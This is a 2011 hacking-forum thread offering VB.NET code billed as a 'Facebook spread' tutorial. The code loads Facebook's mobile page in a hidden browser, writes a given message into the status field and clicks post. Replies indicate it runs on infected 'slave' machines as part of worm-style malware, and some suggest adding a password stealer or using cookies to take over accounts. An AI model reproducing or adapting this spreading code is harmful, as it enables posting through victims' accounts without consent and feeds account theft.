Thread: [\[TuT\]\[HOT\]\[VB.NET\] Facebook spread \[VB.NET\]\[HOT\]\[TuT\]](#)

AntOneSan - October 22, 2011, 5:47 am

You need one var called "message"

Here is the code:

Code Public Sub FBWall(ByVal message As String)

 If (Me.TextBox26.Text = "1") Then

 Try

 Dim enumerator As IEnumerator

 Dim enumerator2 As IEnumerator

 Dim browser As New WebBrowser

 browser.Navigate("http://m.facebook.com/home.php?")

 Do While (browser.ReadyState <> WebBrowserReadyState.Complete)

 Application.DoEvents

 Loop

 Try

 enumerator = browser.Document.All.GetEnumerator

 Do While enumerator.MoveNext

 Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)

 If (current.GetAttribute("name") = "status") Then

 current.SetAttribute("value", message)

 End If

 Loop

 Finally

 If TypeOf enumerator Is IDisposable Then

 TryCast(enumerator, IDisposable).Dispose

 End If

 End Try

 Try

 enumerator2 = browser.Document.All.GetEnumerator

 Do While enumerator2.MoveNext

 Dim element2 As HtmlElement = DirectCast(enumerator2.Current, HtmlElement)

 If (element2.GetAttribute("name") = "update") Then

 element2.InvokeMember("click")

 End If

 Loop

 Finally

 If TypeOf enumerator2 Is IDisposable Then

 TryCast(enumerator2, IDisposable).Dispose

 End If

 End Try

 Catch exception1 As Exception

 ProjectData.SetProjectError(exception1)

 ProjectData.ClearProjectError

 End Try

 End If

End SubHope you like it...

thanks sir want to test this Now Hope this work

aman2012 - October 22, 2011, 6:29 am

can u explain what is this how this script use??

W33DY - October 22, 2011, 6:33 am

Its ok,but webbrowser is shitty :P

i guess it is already posted here

diosdelared - October 22, 2011, 6:36 am

Good depEnd if you add a stealer and grab facebook password..

Hopsin - October 22, 2011, 6:37 am

You can do it yourself instead of copy pasting. Right??

AntOneSan - October 22, 2011, 9:14 am

"Good depEnd if you add a stealer and grab facebook password.." No, I think it can use the cookie :)

"Its ok,but webbrowser is shitty :P" I know but I'm not really good with HttpWebRequest :(

Leguepard60 - November 15, 2011, 1:32 pm

Thanks Diablo Worms

This method can be best..

Androcir - November 15, 2011, 2:11 pm

Uses webbrowser =7

Anyways, i have a question. I don't seem to get around the fact: "Why do people write [HOT] in the title of the threads?" ?

Cody8295 - November 15, 2011, 2:58 pm

Eww a webbrowser D:

Also, that's some sloppy code with bad habits.

[ZERO] - November 15, 2011, 3:17 pm

This is only going to work if your slave is being logged on Facebook via Internet Explorer > chance 0.2 %

Cherish Life - November 15, 2011, 5:23 pm

Same. It has like 10 posts on it for fucking sake. [Hot] would be like 100+. Also this tutorial sucks dick considering you didn't explain anything and you most likely ripped off google for a quick rep. You got rep alright from me.
